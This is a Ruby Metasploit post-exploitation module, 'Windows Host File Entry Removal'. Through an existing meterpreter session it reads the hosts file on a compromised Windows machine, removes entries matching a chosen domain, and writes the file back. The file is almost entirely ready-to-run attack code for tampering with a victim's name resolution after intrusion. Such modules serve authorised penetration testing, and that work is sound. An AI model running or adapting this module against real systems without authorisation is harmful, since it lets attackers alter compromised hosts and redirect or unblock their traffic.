68 lines
1.6 KiB
Ruby
68 lines
1.6 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Post
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Host File Entry Removal',
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'Description' => %q{
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This module allows the attacker to remove an entry from the Windows hosts file.
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},
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'License' => BSD_LICENSE,
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'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
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'Version' => '$Revision$',
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'Platform' => [ 'windows' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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register_options(
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[
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OptString.new('DOMAIN', [ true, 'Domain name to remove from the hosts file.' ])
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], self.class)
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end
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def run
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hosttoremove = datastore['DOMAIN']
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# remove hostname from hosts file
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fd = client.fs.file.new("C:\\WINDOWS\\System32\\drivers\\etc\\hosts", "r+b")
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# Get a temporary file path
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meterp_temp = Tempfile.new('meterp')
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meterp_temp.binmode
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temp_path = meterp_temp.path
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print_status("Removing hosts file entry pointing to #{hosttoremove}")
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newfile = ''
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fdray = fd.read.split("\r\n")
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fdray.each do |line|
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if line.match("\t#{hosttoremove}$")
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else
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newfile += "#{line}\r\n"
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end
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end
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fd.close
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meterp_temp.write(newfile)
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meterp_temp.close
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client.fs.file.upload_file('C:\\WINDOWS\\System32\\drivers\\etc\\hosts', meterp_temp)
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print_good("Done!")
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end
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end
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